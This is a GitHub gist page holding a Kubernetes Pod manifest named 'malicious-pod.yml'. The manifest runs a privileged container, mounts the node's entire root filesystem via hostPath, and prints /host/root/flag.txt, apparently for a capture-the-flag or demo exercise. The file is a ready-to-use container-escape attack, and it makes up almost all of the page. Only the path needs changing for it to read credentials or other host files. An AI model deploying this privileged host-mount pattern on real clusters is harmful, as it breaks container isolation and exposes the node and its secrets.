Skip to content

Instantly share code, notes, and snippets.

@myugan
Last active July 26, 2021 05:14
Show Gist options
  • Save myugan/3dbf3cbbb3d496c248c157ed7fdce3ff to your computer and use it in GitHub Desktop.
Save myugan/3dbf3cbbb3d496c248c157ed7fdce3ff to your computer and use it in GitHub Desktop.
malicious-pod.yml
apiVersion: v1
kind: Pod
metadata:
name: demo
labels:
app: demo
spec:
containers:
- name: demo
image: k8s.gcr.io/etcd:3.4.13-0
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: mount-root
command: [ "/bin/sh", "-c", "--" ]
args: ['echo "$(</host/root/flag.txt)"']
volumes:
- name: mount-root
hostPath:
path: /
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment